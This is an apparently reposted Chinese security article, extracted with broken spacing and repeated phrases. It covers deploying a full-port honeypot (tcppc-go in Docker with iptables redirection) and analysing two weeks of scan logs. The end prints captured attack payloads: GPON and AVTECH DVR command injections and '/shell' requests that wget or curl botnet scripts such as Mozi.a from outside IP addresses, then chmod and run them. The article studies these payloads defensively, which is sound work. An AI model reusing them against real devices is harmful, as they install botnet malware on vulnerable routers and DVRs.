搜索

[15579] 2020-07-07_全端口蜜罐的部署过程与数据分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-07-07_全端口蜜罐的部署过程与数据分析 全 端 口 蜜 罐 的 部 署 过 程 与 数 据 分 析 原 创   F r e e A C h a o   F r e e B u f   2 0 2 0 - 0 7 - 0 7 一 、 引 言 一 、 引 言 在 当 前 的 网 络 环 境 中 ， 存 在 着 各 种 流 量 ， 包 括 网 络 空 间 扫 描 流 量 、 搜 索 引 擎 爬 虫 流 量 、 恶 意 软 件 的 探 测 流 量 等 等 ， 例 如 在 当 前 的 网 络 环 境 中 ， 存 在 着 各 种 流 量 ， 包 括 网 络 空 间 扫 描 流 量 、 搜 索 引 擎 爬 虫 流 量 、 恶 意 软 件 的 探 测 流 量 等 等 ， 例 如 m i r a i 病 毒 在 进 行 病 毒 在 进 行 t e l n e t 爆 破 过 程 中 ， 其 目 标 爆 破 过 程 中 ， 其 目 标 I P 就 是 随 机 生 成 的 就 是 随 机 生 成 的 （ 排 除 内 网 （ 排 除 内 网 I P 及 一 些 特 殊 及 一 些 特 殊 I P ） 。 前 段 时 间 ， 本 人 对 ） 。 前 段 时 间 ， 本 人 对 S S H 蜜 罐 蜜 罐 c o w i r e 的 的 d o c k e r 部 署 及 数 据 展 示 进 行 了 介 绍 ， 有 兴 趣 的 读 者 可 以 查 看 文 章 《 部 署 及 数 据 展 示 进 行 了 介 绍 ， 有 兴 趣 的 读 者 可 以 查 看 文 章 《 C o w r i e 蜜 罐 的 蜜 罐 的 D o c k e r 部 署 过 程 及 部 署 过 程 及 E l a s t i c s e a r c h + K i b a n a 可 视 化 》 。 本 文 将 继 续 蜜 罐 这 个 方 向 ， 介 绍 一 种 全 端 口 蜜 罐 。 可 视 化 》 。 本 文 将 继 续 蜜 罐 这 个 方 向 ， 介 绍 一 种 全 端 口 蜜 罐 。 一 般 而 言 ， 大 部 分 蜜 罐 都 是 针 对 某 种 服 务 来 运 行 的 ， 例 如 前 文 提 到 的 s s h 蜜 罐 c o w r i e 。 通 过 模 拟 该 种 服 务 的 正 常 协 议 交 互 ， 完 成 握 手 阶 段 ， 并 进 行 数 据 传 输 ， 基 于 这 种 蜜 罐 可 以 记 录 攻 击 者 的 行 为 。 但 前 文 提 到 ， m i r a i 病 毒 定 位 目 标 是 通 过 随 机 的 I P 算 法 生 成 ； 同 时 每 天 云 主 机 的 S S H 端 口 也 收 到 各 种 爆 破 流 量 ， 由 此 本 人 萌 生 了 一 个 想 法 ， 那 么 是 不 是 还 有 其 他 端 口 也 在 受 到 扫 描 或 者 攻 击 。 要 获 取 这 些 信 息 ， 显 然 使 用 t c p d u m p 并 不 可 行 ， 虽 然 能 收 到 各 种 扫 描 的 流 量 ， 但 没 有 系 统 协 议 栈 的 支 撑 ， 并 不 能 得 知 连 接 的 负 载 ； 而 如 果 使 用 开 启 多 个 端 口 又 不 现 实 ， 毕 竟 端 口 数 量 这 么 多 ， 管 理 起 来 也 不 方 便 。 要 满 足 上 述 需 求 ， 需 要 一 个 能 够 接 受 全 端 口 流 量 的 蜜 罐 。 本 文 基 于 上 述 背 景 ， 部 署 一 款 全 端 口 蜜 罐 ， 并 对 半 个 月 时 间 内 收 到 的 日 志 进 行 简 单 分 析 。 整 体 的 文 章 结 构 如 下 ： 首 先 介 绍 使 用 t c p p c - g o 及 d o c k e r 搭 建 一 个 可 以 记 录 连 接 信 息 的 蜜 罐 ， 然 后 利 用 i p t a b l e s 将 端 口 转 发 之 特 定 端 口 ， 最 后 分 析 采 集 到 的 两 周 的 数 据 。 二 、 全 端 口 蜜 罐 的 部 署 二 、 全 端 口 蜜 罐 的 部 署 2 . 1   需 求 分 析 需 求 分 析 首 先 来 具 体 说 明 一 下 ， 对 于 这 款 蜜 罐 的 具 体 需 求 。 1 . 能 够 接 受 客 户 端 （ 攻 击 或 扫 描 ） 的 连 接 ， 不 需 要 进 行 具 体 的 某 种 协 议 的 交 互 ， 能 够 接 收 并 记 录 用 户 发 送 过 来 的 数 据 ， 持 续 运 行 只 要 客 户 端 还 在 发 送 数 据 ； 2 . 能 够 记 录 日 志 ， 包 括 连 接 信 息 ， 数 据 包 内 容 等 ； 3 . 能 够 接 收 系 统 的 全 端 口 流 量 。 本 着 不 重 复 造 轮 子 的 思 想 ， 在 g i t h u b 上 搜 索 ” a l l   p o r t   h o n e y p o t ” ， 找 到 了 一 款 能 够 满 足 功 能 的 程 序 t c p p c - g o 。 除 了 能 满 足 上 述 需 求 ， 同 时 还 能 支 持 U D P 协 议 ， 甚 至 可 以 加 载 S S L 证 书 ， 进 行 S S L 握 手 。 本 次 部 署 过 程 中 不 考 虑 S S L 及 U D P 。 其 g i t h u b 主 页 上 也 介 绍 了 如 何 能 够 捕 获 全 端 口 的 数 据 负 载 ， 通 过 i p t a b l e s 进 行 转 发 ， 但 本 文 没 有 采 用 他 的 命 令 ， 请 读 者 谨 慎 尝 试 。 2 . 2   部 署 过 程 部 署 过 程 t c p p c - g o 是 一 款 使 用 g o 语 言 编 写 的 程 序 ， 虽 然 本 人 有 一 些 g o 语 言 基 础 ， 但 是 不 想 折 腾 基 础 语 言 环 境 ， 就 借 助 d o c k e r 的 方 式 来 搭 建 这 个 蜜 罐 ， 这 样 也 方 便 没 有 g o 基 础 的 读 者 直 接 进 行 部 署 。 因 此 ， 本 次 部 署 过 程 中 ， 与 上 一 篇 c o w r i e 蜜 罐 相 同 ， 采 用 d o c k e r 部 署 的 方 式 ， 但 不 进 行 数 据 展 示 ， 直 接 输 出 原 始 日 志 ， 本 次 蜜 罐 部 署 的 环 境 如 下 ： 2 . 2 . 1   构 造 镜 像 构 造 镜 像 D o c k e r f i l e 是 构 造 镜 像 的 模 板 ， d o c k e r 会 根 据 D o c k e r f i l e 的 程 序 逐 渐 构 造 镜 像 ， 关 于 具 体 的 指 令 ， 下 面 的 D o c k e r f i l e 已 经 添 加 了 简 单 的 注 释 ， 想 深 入 了 解 命 令 使 用 的 读 者 可 以 自 行 搜 索 。 上 述 D o c k e r f i l e 的 主 要 构 造 流 程 如 下 。 首 先 ， 拉 取 g o l a n g 作 为 基 础 镜 像 ， 为 程 序 提 供 g o 语 言 环 境 ； 然 后 ， 在 设 置 了 时 区 变 量 之 后 ， 将 时 区 调 整 为 上 海 市 区 ， 如 果 不 调 整 ， 默 认 会 比 上 海 时 间 慢 8 个 小 时 ； 其 次 ， 利 用 g o 命 令 获 取 程 序 源 码 ； 最 后 ， 进 入 相 应 路 径 进 行 编 译 。 新 创 建 一 个 文 件 夹 d o c k e r _ t e s t （ 后 续 操 作 均 将 在 该 路 径 下 执 行 ） ， 并 按 照 上 述 内 容 编 辑 D o c k e r f i l e 文 件 ， 在 文 件 夹 下 执 行 命 令 : 其 中 - t 参 数 是 设 置 最 终 生 成 镜 像 的 名 字 与 版 本 号 ， 可 自 行 调 整 ； 程 序 会 运 行 一 段 时 间 ， 大 致 上 需 要 3 - 5 分 钟 时 间 ， 主 要 卡 顿 在 拉 取 g o 基 础 镜 像 和 获 取 g i t h u b 源 码 过 程 中 。 上 述 命 令 会 输 出 以 上 信 息 ， 输 出 这 些 信 息 表 明 蜜 罐 已 经 构 建 成 功 ； 测 试 镜 像 是 否 成 功 构 造 并 能 运 行 ， 首 先 创 建 l o g 文 件 夹 ， 用 来 后 续 挂 载 文 件 夹 到 镜 像 中 ， 并 保 存 日 志 ， 执 行 以 下 命 令 。 此 时 可 以 查 看 到 l o g 文 件 夹 下 已 经 生 成 了 l o g 文 件 。 非 r o o t 用 户 可 能 需 要 调 整 文 件 夹 的 权 限 。 d o c k e r 运 行 命 令 中 ， 利 用 — n e t = h o s t 让 镜 像 使 用 宿 主 机 的 网 络 ， 这 样 可 以 直 接 绑 定 端 口 到 系 统 上 ， 后 续 利 用 i p t a b l e 时 ， 只 需 要 指 定 端 口 。 t c p p c - g o 会 默 认 绑 定 t c p / u d p 端 口 号 1 2 3 4 5 ， 可 以 通 过 进 行 测 试 ， 随 便 敲 击 命 令 ， 即 可 在 日 志 中 查 看 到 日 志 。 # # # 使 用 g o l a n g 作 为 基 础 镜 像 提 供 程 序 运 行 环 境 F R O M   g o l a n g # 设 置 时 区 变 量 E N V   T Z = A s i a / S h a n g h a i # 调 整 时 区 , 从 g i t h u b 拉 取 相 应 源 码 ， 并 编 译 r u n   l n   - s n f   / u s r / s h a r e / z o n e i n f o / $ T Z   / e t c / l o c a l t i m e   & &   e c h o   $ T Z   >   / e t c / t i m e z o n e   & &           g o   g e t   g i t h u b . c o m / m d - i r o h a s / t c p p c - g o   & &           c d   / g o / s r c / g i t h u b . c o m / m d - i r o h a s / t c p p c - g o   & &           g o   b u i l d   m a i n . g o # 跳 转 至 生 成 的 程 序 位 置 W O R K D I R   / g o / b i n / # 执 行 命 令 c m d   [ " . / t c p p c - g o " ,   " - T " , " 8 6 4 0 0 " , " - w " , " l o g / t c p p c - % Y % m % d . j s o n l " ] d o c k e r   b u i l d   - t   a l l _ p o r t : 1 . 0   . d o c k e r   - i t   - d   - - r e s t a r t = a l w a y s   - n e t = h o s t   - v   ` p w d ` / l o g : / g o / b i n / l o g /   a l l _ p o r t : 1 . 0 t e l n e t   0   1 2 3 4 5
按 照 上 述 步 骤 能 够 出 现 以 上 信 息 ， 说 明 镜 像 已 经 构 造 成 功 ， 并 且 能 够 成 功 运 行 并 获 取 日 志 。 但 是 当 前 只 是 开 启 的 一 个 端 口 进 行 监 听 ， 下 面 来 介 绍 通 过 i p t a b l e s 将 本 机 端 口 转 发 至 t c p p c - g o 的 1 2 3 4 5 端 口 。 2 . 2 . 2   调 整 调 整 i p t a b l e s 进 行 端 口 转 发 进 行 端 口 转 发 请 注 意 ， 利 用 请 注 意 ， 利 用 i p t a b l e s 如 果 命 令 错 误 可 能 导 致 机 器 无 法 访 问 ， 或 者 影 响 其 他 正 常 服 务 ， 特 别 是 如 果 命 令 错 误 可 能 导 致 机 器 无 法 访 问 ， 或 者 影 响 其 他 正 常 服 务 ， 特 别 是 S S H 端 口 。 一 定 要 注 意 自 己 的 命 令 是 否 正 确 。 最 好 是 在 自 己 的 测 试 机 或 者 虚 拟 机 上 先 测 试 端 口 。 一 定 要 注 意 自 己 的 命 令 是 否 正 确 。 最 好 是 在 自 己 的 测 试 机 或 者 虚 拟 机 上 先 测 试 命 令 ， 保 证 命 令 正 确 无 影 响 。 以 下 命 令 均 在 本 人 的 机 器 上 测 试 没 有 问 题 ， 但 是 每 个 人 的 情 况 都 不 同 ， 请 一 定 谨 慎 命 令 ， 保 证 命 令 正 确 无 影 响 。 以 下 命 令 均 在 本 人 的 机 器 上 测 试 没 有 问 题 ， 但 是 每 个 人 的 情 况 都 不 同 ， 请 一 定 谨 慎 。 先 来 解 释 一 个 最 简 单 的 命 令 。 下 面 来 说 明 一 下 命 令 的 具 体 内 容 ， 该 命 令 将 在 防 火 墙 的 n a t 表 （ ） 中 p r e r o u t i n g （ ） 位 置 创 建 一 条 规 则 ， 这 条 规 则 针 对 发 往 网 卡 e t h 0 （ ） t c p 协 议 （ ） 的 流 量 ， 其 中 端 口 范 围 是 5 0 0 0 - 8 0 0 0 （ ） 的 将 重 定 向 至 1 2 3 4 5 端 口 （ ） 。 执 行 命 令 （ 外 网 I P ） ， ， 可 以 发 现 成 功 联 通 ； 上 述 命 令 不 支 持 在 部 署 蜜 罐 的 本 机 进 行 使 用 ” 0 . 0 . 0 . 0 ” 或 者 回 环 地 址 测 试 ， 会 回 显 拒 绝 服 务 的 信 息 ， 这 是 由 于 i p t a b l e s 的 生 效 位 置 导 致 。 虽 然 上 述 命 令 可 以 将 端 口 转 发 至 蜜 罐 的 端 口 ， 但 是 输 出 的 蜜 罐 日 志 中 却 缺 失 了 端 口 信 息 ， 所 有 的 流 量 都 呈 现 为 访 问 1 2 3 4 5 端 口 ， 这 样 不 利 于 具 体 的 端 口 行 为 分 析 。 所 以 需 要 调 整 上 述 命 令 ， 来 记 录 端 口 转 发 过 程 日 志 。 下 面 来 具 体 说 明 在 实 际 部 署 过 程 中 采 用 的 命 令 。 为 了 验 证 命 令 的 可 行 性 ， 会 将 原 有 蜜 罐 的 防 火 墙 规 则 清 楚 ， 重 新 逐 步 加 载 规 则 。 执 行 命 令 查 看 n a t 表 中 现 有 的 规 则 ， ， 得 到 以 下 图 片 中 输 出 。 上 图 输 出 中 的 最 后 一 条 规 则 正 是 刚 刚 执 行 的 命 令 生 成 的 ， 先 执 行 命 令 把 这 条 规 则 删 除 ， 执 行 命 令 ， 其 中 5 对 应 的 这 条 规 则 的 编 号 ， 可 以 通 过 一 下 命 令 （ ） 来 获 取 编 号 。 在 后 续 中 ， 如 果 发 现 规 则 有 问 题 ， 可 以 按 照 编 号 删 除 相 应 的 规 则 ， 一 定 要 注 意 不 要 把 正 常 的 规 则 删 除 。 一 、 开 启 i p t a b l e s 日 志 1 . 在 文 件 / e t c / r s y s l o g . c o n f 中 添 加 一 行 内 容 ， 2 . 为 了 让 日 志 和 s s h 日 志 一 样 回 滚 ， 将 文 件 名 加 入 文 件 中 ， 配 置 后 文 件 内 容 如 下 。 3 . 执 行 重 启 服 务 使 配 置 生 效 。 二 、 i p t a b l e s 日 志 规 则 执 行 以 下 两 条 命 令 。 下 面 简 单 说 明 一 下 上 述 命 令 的 含 义 。 第 一 条 命 令 是 将 进 来 的 流 量 进 行 记 录 ， 日 志 等 级 6 对 应 前 面 的 ， 日 志 前 缀 为 p o r t _ f o r ， 无 意 义 ， 可 自 行 定 义 。 第 二 条 命 令 将 流 量 重 定 向 至 端 口 1 2 3 4 5 。 经 过 测 试 ， 上 述 两 条 命 令 如 果 顺 序 颠 倒 ， 虽 然 能 进 行 重 定 向 ， 但 没 有 日 志 输 出 。 测 试 ： 执 行 命 令 ， 可 以 在 中 看 到 实 时 输 出 。 其 他 端 口 只 需 要 修 改 端 口 范 围 即 可 ， 执 行 命 令 类 似 ； 如 果 命 令 都 正 确 ， 却 无 法 连 通 ， 请 查 看 是 否 是 云 主 机 没 有 开 放 端 口 的 原 因 。 2 . 2 . 3   部 署 过 程 小 结 部 署 过 程 小 结 在 前 面 的 内 容 中 ， 本 文 描 述 了 如 何 通 过 d o c k e r 部 署 t c p p c - g o 程 序 ， 并 简 单 介 绍 了 利 用 i p t a b l e s 完 成 端 口 转 发 功 能 。 请 在 自 己 机 器 上 部 署 的 读 者 在 执 行 i p t a b l e s 命 令 时 ， 一 定 要 谨 慎 ， 最 好 是 现 在 虚 拟 机 或 者 测 试 机 上 进 行 命 令 的 测 试 ， 以 免 造 成 不 必 要 的 麻 烦 。 三 、 全 端 口 蜜 罐 的 数 据 分 析 三 、 全 端 口 蜜 罐 的 数 据 分 析 前 文 中 ， 已 经 对 全 端 口 蜜 罐 的 部 署 过 程 进 行 了 详 细 的 描 述 。 按 照 步 骤 部 署 ， 现 在 可 以 拥 有 两 个 源 头 的 数 据 ， 一 个 是 由 i p t a b l e s 进 行 端 口 转 换 过 程 中 ， 生 成 的 端 口 转 换 日 志 （ T C P 连 接 ） ； 一 个 是 有 t c p p c - g o 程 序 采 集 到 的 连 接 信 息 （ 包 含 负 载 ） 。 下 面 利 用 p y t h o n 分 别 来 对 这 两 方 面 数 据 进 行 分 析 ， 主 要 用 到 的 第 三 方 库 是 p a n d a s 数 据 分 析 库 ， 同 时 采 用 j u p y t e r - n o t e b o o k 的 形 式 方 便 分 析 过 程 。 分 析 的 日 志 时 间 为 从 2 0 2 0 年 5 月 2 4 日 至 2 0 2 0 年 6 月 7 日 ， 其 中 在 5 月 2 4 日 进 行 部 署 ， 日 志 仅 为 半 天 的 数 据 量 ， 其 余 时 间 均 为 整 天 的 数 据 。 本 部 分 分 析 集 中 于 数 据 的 分 析 ， 对 代 码 实 现 不 进 行 详 细 描 述 ， 后 文 中 提 供 g i t h u b 地 址 ， 包 含 j u p y t e r 的 分 析 过 程 。 注 ： 因 为 本 人 的 云 主 机 中 还 承 载 着 S S H / 蜜 罐 （ 2 2 / 2 2 2 2 端 口 ） ， 以 及 S S H 蜜 罐 （ 2 3 / 2 3 2 3 ) ， 这 部 分 服 务 由 之 前 一 篇 文 章 中 介 绍 的 c o w r i e 蜜 罐 处 理 ， 下 文 中 的 日 志 中 没 有 体 现 这 部 分 日 志 ， 可 能 会 在 日 志 数 量 上 有 偏 差 。 利 用 i p t a b l e s 转 发 范 围 包 括 （ 2 4 - 2 2 2 1 ） ， （ 2 3 2 4 - 6 5 5 3 5 ） 。 i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - i   e t h 0   - - d p o r t   5 0 0 0 : 8 0 0 0   - j   R E D I R E C T   - - t o - p o r t s   1 2 3 4 5 - t   n a t - A   P R E R O U T I N G - i   e t h 0 - p   t c p - - d p o r t   5 0 0 0 : 8 0 0 0 - j   R E D I R E C T   - - t o - p o r t s   1 2 3 4 5 t e l n e t   y o u r _ m a c h i n e _ i p   5 0 0 0 i p t a b l e s   - t   n a t   - L   - n v i p t a b l e s   - t   n a t   - D   P R E R O U T I N G   5 i p t a b l e s   - t   n a t   - L   - n v   - - l i n e - n u m b e r s k e r n . i n f o   / v a r / l o g / i p t a b l e s . l o g / v a r / l o g / i p t a b l e s . l o g / e t c / l o g r o t a t e . d / s y s l o g s e r v i c e   r s y s l o g   r e s t a r t i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - i   e t h 0   - - d p o r t   5 0 0 0 : 8 0 0 0   - j   L O G   - - l o g - l e v e l   6   - - l o g - p r e f i x   " p o r t _ f o r " i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - i   e t h 0   - - d p o r t   5 0 0 0 : 8 0 0 0   - j   R E D I R E C T   - - t o - p o r t s   1 2 3 4 5 k e r n . i n f o t e l n e t   y o u r _ m a c h i n e _ i p   5 0 0 0 / v a r / l o g / i p t a b l e s . l o g
3 . 1   i p t a b l e s 端 口 转 化 日 志 数 据 分 析 端 口 转 化 日 志 数 据 分 析 图 1 .   日 志 数 量 （ 按 天 ） 从 图 1 中 可 以 看 出 ， 在 部 署 蜜 罐 之 后 ， 日 志 数 量 在 两 天 后 趋 于 稳 定 ， 如 果 排 除 5 月 2 4 日 不 计 ， 剩 余 1 4 天 每 天 的 平 均 日 志 数 量 为 3 5 0 0 0 左 右 。 图 2 .   去 重 日 志 数 量 虽 然 每 天 的 日 志 数 量 非 常 多 ， 但 是 从 去 重 的 i p / 端 口 数 量 （ 图 2 ） 上 来 看 ， 每 天 的 I P 数 量 趋 于 稳 定 ， 大 致 在 2 4 0 0 左 右 ； 端 口 数 量 较 多 在 1 4 0 0 0 左 右 。 图 3 .   日 志 中 访 问 端 口 排 序 图 3 展 示 了 在 1 5 天 日 志 中 ， 访 问 最 多 的 是 4 4 5 端 口 ， 配 合 最 近 爆 出 的 S M B 漏 洞 ， 这 个 端 口 的 访 问 量 这 么 高 ， 不 难 理 解 ； 其 次 是 8 0 8 8 （ 大 概 率 是 W E B 服 务 ） 、 1 4 3 3 （ S Q L   S e r v e r 默 认 端 口 ） 。 图 3 主 要 针 对 所 有 日 志 的 端 口 进 行 排 序 ， 下 面 将 每 个 访 问 的 端 口 的 i p 进 行 去 重 后 ， 来 查 看 访 问 最 高 的 端 口 。 图 4 .   日 志 中 访 问 端 口 （ I P 去 重 ） 排 序 从 图 4 中 可 以 看 出 ， 在 经 过 I P 去 重 后 再 排 序 ， 第 一 个 端 口 和 第 二 个 端 口 的 差 距 没 有 那 么 悬 殊 了 ， 通 过 第 二 第 三 多 的 端 口 也 发 生 了 变 化 。 以 上 图 片 中 均 采 用 天 为 单 位 进 行 说 明 ， 下 面 采 用 时 间 区 间 比
较 小 的 3 0 m i n 中 来 说 明 。 以 下 去 重 意 义 ， 是 指 在 时 间 区 间 内 ， 对 I P 或 者 端 口 分 别 进 行 去 重 。 图 5 . 日 志 数 量 （ 每 3 0 分 钟 ） 从 图 5 中 可 以 看 出 ， I P 数 量 趋 于 稳 定 ， 但 日 志 数 量 不 稳 定 ， 且 存 在 波 动 ； 去 重 日 志 中 ， 端 口 数 量 多 于 I P 数 量 ， 存 在 扫 描 行 为 或 者 同 一 个 I P 连 接 多 个 端 口 的 行 为 。 如 果 没 有 扫 描 行 为 ， 那 么 源 I P 与 目 的 端 口 数 量 应 该 是 相 当 的 ； 日 志 数 量 明 显 高 于 其 他 两 个 数 量 的 时 间 点 ， 说 明 存 在 某 个 I P 对 某 个 端 口 （ 或 多 个 端 口 ） 进 行 了 多 次 访 问 ， 产 生 了 多 次 日 志 。 上 图 的 时 间 广 度 太 大 了 ， 下 面 来 通 过 一 天 的 日 志 来 说 明 这 个 前 面 的 结 论 。 图 6 .   2 5 号 日 志 数 量 在 图 6 中 的 标 识 中 ， 类 型 1 椭 圆 处 ， 日 志 数 量 与 目 的 端 口 数 量 激 增 ， 且 数 量 相 当 ， 说 明 存 在 某 个 I P 在 进 行 端 口 扫 描 行 为 ； 类 型 2 的 椭 圆 处 ， I P 数 量 与 端 口 数 量 相 当 ， 但 日 志 数 量 比 前 者 多 ， 说 明 了 某 个 I P 对 某 个 端 口 （ 或 多 个 端 口 ） 进 行 了 多 次 访 问 。 虽 然 类 型 2 中 ， 也 有 可 能 有 I P 在 进 行 小 规 模 的 端 口 扫 描 ， 但 相 对 来 说 ， 类 型 1 的 这 种 现 象 更 能 说 明 有 I P 进 行 端 口 扫 描 的 行 为 。 为 了 验 证 结 论 ， 这 里 将 类 型 1 位 置 时 间 的 日 志 打 印 出 来 ， 具 体 可 以 从 图 7 中 看 出 ， 的 确 存 在 扫 描 行 为 。 图 7 .   端 口 扫 描 行 为 的 日 志
图 8 .   国 家 分 布 图 8 绘 制 了 全 部 日 志 地 域 分 布 ， 分 析 过 程 中 采 用 了 第 三 方 库 g e o i p 2 。 在 国 家 分 布 中 ， 除 了 中 国 作 为 第 一 位 ， 俄 罗 斯 和 荷 兰 日 志 量 最 多 ， 本 人 在 部 署 H T T P 代 理 蜜 罐 过 程 中 也 发 现 了 这 样 的 情 况 ， 存 在 大 量 俄 罗 斯 的 I P 在 进 行 访 问 。 3 . 2   T C P 连 接 数 据 负 载 分 析 连 接 数 据 负 载 分 析 在 处 理 T C P 负 载 日 志 中 发 现 ， t c p p c - g o 生 成 的 日 志 为 j s o n 格 式 ， 且 数 据 负 载 已 经 由 b a s e 6 4 进 行 编 码 ， 虽 然 p a n d a s 支 持 从 j s o n 文 件 中 获 取 数 据 ， 但 有 些 数 据 类 型 ， 例 如 数 组 ， 并 不 能 完 美 支 持 。 本 次 主 要 查 看 T C P 负 载 中 一 些 攻 击 的 流 量 ， 在 对 数 据 负 载 进 行 解 码 之 后 ， 直 接 按 照 某 些 特 殊 字 符 查 找 。 按 照 之 前 部 署 s s h 蜜 罐 的 经 验 ， 很 多 通 过 w g e t 进 行 恶 意 样 本 的 下 载 ； 同 时 H T T P 协 议 中 ， 有 些 存 在 w e b s h l l 服 务 。 下 面 就 按 照 两 个 字 符 串 进 行 分 析 ： ” w g e t ” 和 ” s h e l l ” 。 这 部 分 日 志 数 量 非 常 大 ， 这 里 仅 仅 贴 出 一 些 作 为 示 例 。 经 过 搜 索 ， 上 述 载 荷 是 利 用 G P O N 漏 洞 [ 1 ] 。 D V R 漏 洞 [ 2 ] 。 上 述 命 令 不 清 楚 是 什 么 产 品 的 漏 洞 。 但 是 这 些 负 载 都 是 T C P 的 首 包 ， 说 明 这 些 攻 击 不 需 要 进 行 交 互 ， 他 们 的 原 理 应 该 与 m i r a i 僵 尸 网 络 病 毒 一 致 ， 通 过 随 机 生 成 I P 来 攻 击 主 机 。 同 时 ， 日 志 中 存 在 各 种 爬 虫 以 及 服 务 探 测 的 流 量 ， 这 里 不 再 一 一 列 举 。 3 . 3   数 据 分 析 总 结 数 据 分 析 总 结 本 小 节 针 对 采 集 到 的 日 志 进 行 了 分 析 ， 主 要 针 对 端 口 转 换 过 程 中 产 生 的 端 口 日 志 进 行 了 详 细 的 分 析 ， 分 析 了 日 志 数 量 ， 端 口 分 布 ， 地 域 分 布 等 ， 可 以 发 现 扫 描 行 为 ， 且 知 道 被 探 测 端 口 最 多 的 是 哪 些 ； 对 于 负 载 分 析 部 分 ， 主 要 利 用 已 知 的 两 种 指 纹 w g e t 和 s h e l l 直 接 进 行 匹 配 ， 可 以 发 现 非 常 多 的 日 志 ， 这 些 连 接 没 有 前 期 交 互 ， 直 接 就 开 始 下 载 恶 意 样 本 。 四 、 四 、   总 结 总 结 本 篇 文 章 主 要 针 对 全 端 口 蜜 罐 的 部 署 以 及 数 据 分 析 展 开 。 利 用 i p t a b l e s 配 合 开 源 软 件 t c p p c - g o 记 录 日 志 ， 然 后 详 细 分 析 了 端 口 转 换 日 志 ， 并 简 单 列 举 了 几 种 攻 击 样 本 。 通 过 本 文 的 分 析 ， 可 以 发 现 一 台 存 活 的 云 主 机 其 受 到 的 流 量 行 为 分 布 ： 端 口 、 访 问 I P 、 地 域 ， 以 及 查 看 各 种 负 载 ； 通 过 端 口 转 发 日 志 可 以 看 到 端 口 扫 描 行 为 ， 通 过 负 载 信 息 ， 可 以 看 到 存 在 各 种 样 本 。 但 本 文 中 的 方 法 主 要 是 进 行 离 线 分 析 ， 后 续 如 果 有 机 会 再 开 发 实 时 显 示 的 系 统 ； 同 时 利 用 非 结 构 数 据 库 来 存 储 负 载 信 息 。 本 文 所 使 用 的 d o c k e r f i l e 以 及 分 析 端 口 转 发 日 志 的 j u p y t e r 分 析 过 程 已 经 上 传 至 a l l _ p o r t _ h o n e y p o r t 。 参 考 文 章 参 考 文 章 [ 1 ] G P O N 漏 洞 的 在 野 利 用 （ 一 ） — — m u h s t i k   僵 尸 网 络 [ 2 ] A V T E C H   D V R 设 置 无 需 用 户 登 录 的 命 令 执 行 漏 洞 本 文 作 者 ： 本 文 作 者 ： F r e e A C h a o ， ，   属 于 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 P O S T   / G p o n F o r m / d i a g _ F o r m ? i m a g e s /   H T T P / 1 . 1 r n H o s t :   1 2 7 . 0 . 0 . 1 : 8 0 r n C o n n e c t i o n :   k e e p - a l i v e r n A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e r n A c c e p t :   * / * r n U s e r - A g e n t :   H e l l o ,   W o r l d r n C o n t e n t - L e n g t h :   1 1 8 r n r n X W e b P a g e N a m e = d i a g & d i a g _ a c t i o n = p i n g & w a n _ c o n l i s t = 0 & d e s t _ h o s t = ` ` ; w g e t + h t t p : / G E T   / c g i - b i n / s u p e r v i s o r / C l o u d S e t u p . c g i ? e x e f i l e = c d % 2 0 / t m p ; % 2 0 w g e t % 2 0 h t t p : / / 2 3 . 2 5 4 . 2 2 7 . 9 2 / b i n s . s h % 2 0 - O % 2 0 1 2 . b i n s . s h ; c u r l % 2 0 - O % 2 0 h t t p : / / 2 3 . 2 5 4 . 2 2 7 . 9 2 / b i n s . s h % 2 0 - O % 2 0 1 1 . b i n s . s h ; % 2 0 G E T   / s h e l l ? c d % 2 0 / t m p ; w g e t % 2 0 h t t p : / % 5 C / 2 3 . 2 5 4 . 1 6 4 . 7 6 / a l l y . s h % 2 0 - O % 2 0 g f ; % 2 0 c h m o d % 2 0 7 7 7 % 2 0 g f ; . / g f % 2 0 D V R   H T T P / 1 . 1 r n H o s t :   x x . x x . x x . x x : 5 5 0 0 r n C o n n e c t i o n :   k e e p - a l i v e r n A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e r n A c c e p t :   * / * r n U s e r - A g e n t :   p y t h o n - r e q u e s t s / 2 . 6 . 0   C P y t h o n / 2 . 6 . 6   L i n u x / 2 . 6 . 3 2 - 7 5 4 . e l 6 . x 8 6 _ 6 4 r n r n G E T   / s h e l l ? c d % 2 0 / t m p ; w g e t % 2 0 h t t p : / % 5 C / 1 8 5 . 1 7 2 . 1 1 0 . 2 2 7 / s y s 6 ; % 2 0 c h m o d % 2 0 7 7 7 % 2 0 s y s 6 ; % 2 0 . / s y s 6   H T T P / 1 . 1 r n H o s t :   x x . x x . x x . x x : 5 5 0 2 r n C o n n e c t i o n :   k e e p - a l i v e r n A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e r n A c c e p t :   * / * r n U s e r - A g e n t :   p y t h o n - r e q u e s t s / 2 . 6 . 0   C P y t h o n / 2 . 6 . 6   L i n u x / 2 . 6 . 3 2 - 7 5 4 . 2 9 . 2 . e l 6 . x 8 6 _ 6 4 r n r n G E T   / s h e l l ? c d % 2 0 / t m p % 2 0 % 7 C % 7 C % 2 0 c d % 2 0 / r u n % 2 0 % 7 C % 7 C % 2 0 c d % 2 0 / ; % 2 0 w g e t % 2 0 h t t p : / / 1 8 5 . 1 0 3 . 1 1 0 . 1 4 6 / a x i s b i n s . s h ; % 2 0 c h m o d % 2 0 7 7 7 % 2 0 a x i s b i n s . s h ; % 2 0 s h % 2 0 a x i s b i n s . s h ; % 2 0 r m % 2 0 - r f % 2 0 a x i s b i n s . s h ; r m G E T   / s h e l l ? c d + / t m p ; r m + - r f + * ; w g e t + h t t p : / / 1 1 2 . 1 7 . 8 9 . 1 5 5 : 5 1 0 8 2 / M o z i . a ; c h m o d + 7 7 7 + M o z i . a ; / t m p / M o z i . a + j a w s   H T T P / 1 . 1 r n U s e r - A g e n t :   H e l l o ,   w o r l d r n H o s t :   x x . x x . x x . x x : 8 0 r n A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 r n C o n n e c t i o n :   k e e p - a l i v e r n r n
